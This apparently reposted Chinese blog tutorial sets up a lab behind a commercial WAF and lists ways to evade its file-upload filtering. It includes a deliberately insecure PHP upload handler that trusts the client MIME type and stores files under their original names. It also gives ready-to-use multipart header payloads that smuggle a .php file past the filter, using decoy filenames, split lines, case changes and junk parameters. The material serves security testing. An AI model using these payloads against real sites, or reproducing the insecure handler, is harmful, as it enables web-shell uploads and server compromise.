過waf實戰之文件上傳bypass總結


這里總結下關於waf中那些繞過文件上傳的姿勢和嘗試思路

 

環境 apache + mysql +php  

waf:某狗waf

 

這里寫了一個上傳頁面

<html>
<body>

<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>
<?php
error_reporting(0);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg")))
//&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  echo "Invalid file";
  }
?>

 

一般上傳 肯定是攔截的 

那么接下來就是對繞過waf的一些姿勢和思路

 

1.增大文件大小

測試發現 waf對於Content-Disposition字段的 長度驗證不是很准確,因為我們可以想到它進行攔截的規則肯定是基於正則,那么我們想辦法讓安全狗攔截的正則匹配不到即可

這里對這個字段的長度進行篡改

 

2.對文件名動手腳

我們在上傳時候通常會把文件名后綴和解析漏洞,那么waf對於filename參數后的值的文件名后綴肯定是要正則去匹配的 這樣正常上傳肯定不行

 

 那么繞過之前我們猜想,第一個它可能是對filename這樣的鍵值對進行匹配,例如"ket = val"這樣的鍵值對 那么這里我們就是filename=“php.php” 

那這里把雙引號去除,擾亂匹配,發現還是不行

 

那么我們可不可以多一個filename,因為文件在接收上傳文件名時取的是最后一個filename,那么我們在最后一個filename參數前加一些干擾的filename參數試試

 

發現還是不行  那么這里就知道他是對所有filename參數進行檢測  那么我們能不能把前面的filename參數去掉值呢

Content-Disposition: form-data; name="file"; filename= ;  filename="php.php"

成功上傳

3、對文件后綴名動手腳

我們在上傳是通常會配合解析漏洞,例如1.asp;.jpg  我們想到 也可以構造一樣的文件名進行干擾 例如

Content-Disposition: form-data; name="file";  filename=php.php;.jpg

我們也可以在其中添加空白符、換行符等進行干擾,一樣可以達到效果

Content-Disposition: form-data; name="file";  filename="php

 

截斷也是可以噠

4、對filename動手腳

這里可以讓waf對filename這個字符串匹配不到,但是服務器又可以接收,大家都應該想到了加入換行這類的干擾

Content-Disposition: form-data; name="file";  filen
ame="php.php"
Content-Type: image/gif

斷開“=”也是可以的

Content-Disposition: form-data; name="file";  filename=
"php.php"
Content-Type: image/gif

 

5.對匹配的字段動手腳

我們的filename參數是在post包中的 Content-Disposition 字段,那么waf也是先匹配到這個http頭在對內容進行檢測,我們可以嘗試對這個頭的特征進行修改

原:

 Content-Disposition: form-data; name="file"; filename="php.php" 

我們嘗試去掉這個form-data    (form-data;的意思是內容描述,form-data的意思是來自表單的數據,但是即使不寫form-data,apache也接受。)

  Content-Disposition: name="file"; filename="php.php"  

成功上傳

我們也可以對該字段進行參數污染,填入一些不相關的值來進行干擾

Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="BBBBBBBB"; name="file";  filename="php.php"

也是可以上傳的

那么這里讓他匹配不到這個http頭的方法還有很多 比如改一下大小寫

 COntEnT-DIsposiTiOn: form-data; name="file"; filename="php.php" 

還可以在這個頭上下文加額外的頭進行干擾

Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/gif

 

 

 在這個http頭上面加額外的字符、filename

 

AAAAAAAA:filename="secquan.jpg";
Content-Disposition: form-data; name="file";  filename="php.php"
Content-Type: image/gif

 

 

 

 加一些頭

Content-Length: 253
Content-Disposition: form-data; name="file";  filename="php.php"
Content-Type: image/gif

 

 

 

 這些思路也可以用在其他waf上面~~更多的大家可以自己fuzz 驚喜多多~

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM